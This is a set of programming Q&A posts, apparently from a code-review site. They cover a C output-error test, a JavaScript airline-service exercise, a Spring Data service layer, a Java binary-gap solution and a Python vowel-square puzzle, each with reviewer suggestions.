Apart from that, I found the code very readable.

It's a good idea to store the received data as int rather than converting to char immediately (though I do worry somewhat about using a signed type in code_point - perhaps its arguments should be narrowed to unsigned char?).

Another minor nit: it's not necessary to assign to buf[3] in the else case, although I see it might aid debugging.

I was never able to get an error return from the program (I tried closing stdout using >& in Bash, and also tried redirecting to /dev/full), but always got an exit status of 0.  That surprised me, as the code looks correct.


Stewardesses serving passengers I did an exercise (open-ended - without an answer) from a JavaScript book (chapter about functions).

  Given array of passengers of a flight with their names and ticket types and one need to emulate stewardesses asking passengers for service during the flight depending on their ticket type (first class or coach)  (stewardesses provide all the passengers with one same kind of a service at a time). It's required to make code as extensible and flexible (so you can add ticket types (economy, business), drink types etc. and even new kinds of service like dinners or smth.) as possible.

I want to see suggestions on how I can make this code more flexible, extensible and in a more functional style. Or maybe see any critiques as to why this code is bad, with suggestions of a more correct way of doing the exercise.

var passengers = [{
  name: "Jane Doloop",
  ticket: "firstclass"
}, {
  name: "Dr. Evel",
  ticket: "firstclass"
}, {
  name: "Sue Property",
  ticket: "firstclass"
}, {
  name: "John Funcall",
  ticket: "coach"
}];

function formServices(passengers) {
  for (var i = 0; i < passengers.length; i++) {
    createOrders(passengers[i]);
  }
}

function serveCustomers(passengers) {
  formServices(passengers);
  serveIteration(passengers, "orderDrink");
  console.log("------");
  serveIteration(passengers, "orderDrink");
  console.log("------");
  serveIteration(passengers, "orderMovie");
  console.log("------");
  serveIteration(passengers, "orderDrink");
  console.log("------");
  serveIteration(passengers, "throwGarbage");
}

function createOrders(passenger) {
    if (passenger.ticket === "firstclass") {
      passenger.orderDrink = function() {
        console.log(passenger.name + ", woud you like a cocktail or wine?");
      };
      passenger.orderMovie = function() {
        console.log(passenger.name + ", woud you like a TV-show or movie?");
      };
    } else {
      passenger.orderDrink = function() {
        console.log(passenger.name + ", your choice is cola or water.");
      };
      passenger.orderMovie = function() {
        console.log(passenger.name + ", movies are not available for you.");
      };
    }

    passenger.throwGarbage = function() {
      console.log(passenger.name + ", it's time to throw garbage");
    };
}

function serveIteration(passengers, serviceProperty) {
  switch (serviceProperty) {
    case "orderDrink":
      for (var i = 0; i < passengers.length; i++) {
        passengers[i].orderDrink();
      }
      break;
    case "orderMovie":
      for (i = 0; i < passengers.length; i++) {
        passengers[i].orderMovie();
      }
      break;
    case "throwGarbage":
      for (i = 0; i < passengers.length; i++) {
        passengers[i].throwGarbage();
      }
      break;
    default:
      console.log("No such service");
  }
}

serveCustomers(passengers);

The output is:

Jane Doloop, woud you like a cocktail or wine?
Dr. Evel, woud you like a cocktail or wine?
Sue Property, woud you like a cocktail or wine?
John Funcall, your choice is cola or water.
------
Jane Doloop, woud you like a cocktail or wine?
Dr. Evel, woud you like a cocktail or wine?
Sue Property, woud you like a cocktail or wine?
John Funcall, your choice is cola or water.
------
Jane Doloop, woud you like a TV-show or movie?
Dr. Evel, woud you like a TV-show or movie?
Sue Property, woud you like a TV-show or movie?
John Funcall, movies are not available for you.
------
Jane Doloop, woud you like a cocktail or wine?
Dr. Evel, woud you like a cocktail or wine?
Sue Property, woud you like a cocktail or wine?
John Funcall, your choice is cola or water.
------
Jane Doloop, it's time to throw garbage
Dr. Evel, it's time to throw garbage
Sue Property, it's time to throw garbage
John Funcall, it's time to throw garbage

Correctness

In createOrders(passenger) you use an if-else statement. This has a major issue when you misspell a ticket name.

Extensibility

I would say that your code has 2 major issues that prevent it from being easily extendible:

Ticket names are arbitrary strings. They are easily mistyped, and would lead to all kinds of funky business. While javascript does not have something like enum, you could create your own and use something like this:

var TicketTypeEnum = {
  "COUCH" : "couch",
  "FIRSTCLASS" : "firstclass"
};
if( Object.freeze ) {
  Object.freeze( TicketTypeEnum );
}

This has two benefits. First of all it is immediately clear which ticket types are available. The second benefit is that if you now try to set it to something mistyped, it is undefined. If you would implement something like addPassenger(..) this is easily enough detected.

Similarly, you can have an Object of possible services.
createOrders(..) will become a giant mess when adding more services or more ticket types. There are various ways in which you could improve that:

It is possible to create an Object containing Objects, then retrieve services[ticketType][serviceType] if you want to get the handler for a service given a particular ticket type.
You could have just an Object of services, and assign functions to each of them. Each of these functions switch for ticket type if needed.
You can have a Service class which you can feed a ticket type when called. The difference here being that you can have more advanced logic inside this "Service" abstraction.

I personally would prefer the first option or the third option. In both cases you probably should create a function that adds handlers per ticket type, or adds a Service object to your collection of possible services. You can then easily check if a service or ticket type is forgotten when calling that function, and output an error before you try to serve your customers. In other words: It breaks when setting up the program instead of after an unknown amount of runs.

Note: Your stewards and stewardesses are angry at you for not being called cabin crew. Then again, they are virtual, so you probably don't have to care about this.


Service Layer in Spring Data I'm building a small application in Spring and Spring Data JPA.
I need serval layer. I don't know if I'm doing well.

Here is an example:
POJO

@Entity
public class Product {
    @Id
    @GeneratedValue
    private long Id;
    @NotBlank
    private String name;
    @NotNull
    private int price;

    public long getId() {
        return Id;
    }

    public String getName() {
        return name;
    }

    public int getPrice() {
        return price;
    }

    public void setId(long id) {
        Id = id;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setPrice(int price) {
        this.price = price;
    }

    @Override
    public String toString() {
        return "Product{" +
                "Id=" + Id +
                ", name='" + name + '\'' +
                ", price=" + price +
                '}';
    }
}

REPOSITORY

public interface ProductRepository extends CrudRepository<Product, Long> {
    Product findByName(String name);
    List<Product> getAllProducts();
    Product getProductById(String productId);
    void addProduct(Product product);
}

SERVICE

public interface ProductService  {

    List<Product> getAllProducts();
    Product getProductById(String productId);
    void addProduct(Product product);
}

REPOSITORY IMPLEMENTATION

@Service
public class ProductServiceImpl implements ProductService {
    @Autowired
    private ProductRepository productRepository;

    @Override
    public List<Product> getAllProducts() {
        return productRepository.getAllProducts();
    }

    @Override
    public Product getProductById(String productId) {
        return productRepository.getProductById(productId);
    }

    @Override
    public void addProduct(Product product) {
        productRepository.addProduct(product);

    }

}

It is a good?
Unless How create communication with database in Spring?

Well if I'd review this I'd add the following:

The Id field in Product could be renamed id to follow java convention
Generally it's a good practice to have equals & hashcode methods overridden.

As for the database connection it depends on which Spring & database you are using, does it happen to be Spring Boot?


Printing longest sequence of zeroes I am doing a coding exercise in codility and I came across this question:

  A binary gap within a positive integer N is any maximal sequence of
  consecutive zeros that is surrounded by ones at both ends in the
  binary representation of N.

  For example, number 9 has binary representation 1001 and contains a
  binary gap of length 2. The number 529 has binary representation
  1000010001 and contains two binary gaps: one of length 4 and one of
  length 3. The number 20 has binary representation 10100 and contains
  one binary gap of length 1. The number 15 has binary representation
  1111 and has no binary gaps.

  Write a function:

  class Solution { public int solution(int N); } that, given a positive
  integer N, returns the length of its longest binary gap. The function
  should return 0 if N doesn't contain a binary gap.

  For example, given N = 1041 the function should return 5, because N
  has binary representation 10000010001 and so its longest binary gap is
  of length 5.

  Assume that:

  N is an integer within the range [1..2,147,483,647]. Complexity:

  expected worst-case time complexity is O(log(N)); expected worst-case
  space complexity is O(1).

My code looks like this:

import java.util.*;

class Solution {
    public static int solution(int N) {
        return Optional.ofNullable(N)
        .map(Integer::toBinaryString)
        .filter(n -> n.length() > 1)
        .map(t -> {
            List<Integer> counts = new ArrayList<>();
            int count = 0;
            for(int i = 0; i < t.length(); i++)
            {
                if(t.charAt(i) == '0') {
                    count += 1;
                } else if(count > 0) {
                    counts.add(count);
                    count = 0;
                }
            }
            if(counts.size() > 0) {
                Collections.sort(counts);
                return counts.get(counts.size() - 1);
            }
            return 0;
        })
        .orElse(0);
    }
}

What else can I do to improve the performance of the aforementioned code? How do I determine the big-O complexity of this program?

Some comments:

Converting to a binary string and then operating on the string is much slower and more laborious than operating on the bytes directly.
There is no need to collect all counts and then take the largest as we can just calculate the largest as we go.
Give your class and method appropriate names.
Check the precondition that the input is positive in the beginning of the method.

Here is a streamlined but untested solution:

class BinaryGapCalculator {
    static int binaryGap(final int n) {
        if (n <= 0)
            throw new IllegalArgumentException("n must be positive; was " + n);
        final int start = Integer.lowestOneBit(n), end = Integer.highestOneBit(n);
        int curRun = 0, longestRun = 0;
        for (int bitmask = start; bitmask != end; bitmask <<= 1) {
            final int bit = n & bitmask;
            if (bit == 0)
                ++curRun;
            else {
                longestRun = Math.max(longestRun, curRun);
                curRun = 0;
            }
        }
        return Math.max(longestRun, curRun);
    }
}

Regarding big-O, all solutions are technically O(1) because there are finitely many inputs. But if we were to pretend that an int could store arbitrarily many bits, the optimal solution would be θ(b) where b ~ log(n) is the number of bits of n. This is because the algorithm I wrote is θ(b) and the optimum must be at least as efficient as my algorithm; also there is no tighter bound than θ(b) because asymptotically, at least half of the input has to be seen. So my algorithm is optimal (up to a constant).


Find a 2x2 vowel square in a grid (Coderbyte 'Vowel Square' problem) My solution to the Coderbyte task 'Vowel Square'. It's a simple task, but I'm sure there's a more Pythonic solution than mine.

The problem:

Vowel Square
Have the function VowelSquare(strArr) take the strArr parameter being passed
which will be a 2D matrix of some arbitrary size filled with letters from
the alphabet, and determine if a 2x2 square composed entirely of vowels
exists in the matrix. For example: strArr is ["abcd", "eikr", "oufj"] then
this matrix looks like the following:

a b c d

e i k r

o u f j

Within this matrix there is a 2x2 square of vowels starting in the second
row and first column, namely, ei, ou. If a 2x2 square of vowels is found
your program should return the top-left position (row-column) of the square,
so for this example your program should return 1-0. If no 2x2 square of
vowels exists, then return the string not found. If there are multiple
squares of vowels, return the one that is at the most top-left position
in the whole matrix. The input matrix will at least be of size 2x2.

Examples:

Input: ["aqrst", "ukaei", "ffooo"]
Output: 1-2,
Input: ["gg", "ff"]
Output: not found

My solution:

VOWELS = "aeiouAEIOU"

def find_vowel_square(strs: list):
    """Return the top left grid ref of any 2x2 sq composed of vowels only

    If more than one 2x2 sq exists. Return that which is at the most top-left
    position.
    """
    height, width = len(strs), len(strs[0])

    # Ensure all strings within strs are of equal length
    assert all(len(s) == width for s in strs)

    for string_i in range(height-1):
        for i in range(width-1):
            if strs[string_i][i] in VOWELS and strs[string_i][i+1] in VOWELS:
                if strs[string_i+1][i] in VOWELS and strs[string_i+1][i+1] in VOWELS:
                    return f"{i}-{string_i}"

    return "Not found"

assert find_vowel_square(strs=["aqree", "ukaei", "ffooo"]) == "3-0"
assert find_vowel_square(strs=["aqrst", "ukaei", "ffooo"]) == "2-1"
assert find_vowel_square(strs=["gg", "ff"]) == "Not found"

These are all relatively minor notes:

You can use typing.List to provide a better type definition for the parameter (List[str]), precisely defining what it's a list of.
I always try to avoid giving variables names that are just a variation on the Python type to tell me what its type is (that's the type annotation's job); the problem description calls this the "matrix" so I'll use that.
If the problem description doesn't say what to do with invalid input, I'd assume it's fine (and preferable) to just let the code raise an exception if any assumptions are violated.
If you're checking that a bunch of iterable conditions are all true, I think it generally looks nicer to use the all function than to do a bunch of ands.
For iterating over indices (i.e. where it's super obvious from context what the variable represents and a longer name only serves to distract) I always prefer using short, generic variable names like i, j or x, y.

from typing import List

VOWELS = "aeiouAEIOU"

def find_vowel_square(matrix: List[str]):
    """Return the top left grid ref of any 2x2 sq composed of vowels only

    If more than one 2x2 sq exists. Return that which is at the most top-left
    position.
    """
    for y in range(len(matrix) - 1):
        for x in range(len(matrix[y]) - 1):
            if all (matrix[i][j] in VOWELS
                    for i, j in [(y, x), (y+1, x), (y, x+1), (y+1, x+1)]):
                return f"{x}-{y}"

    return "Not found"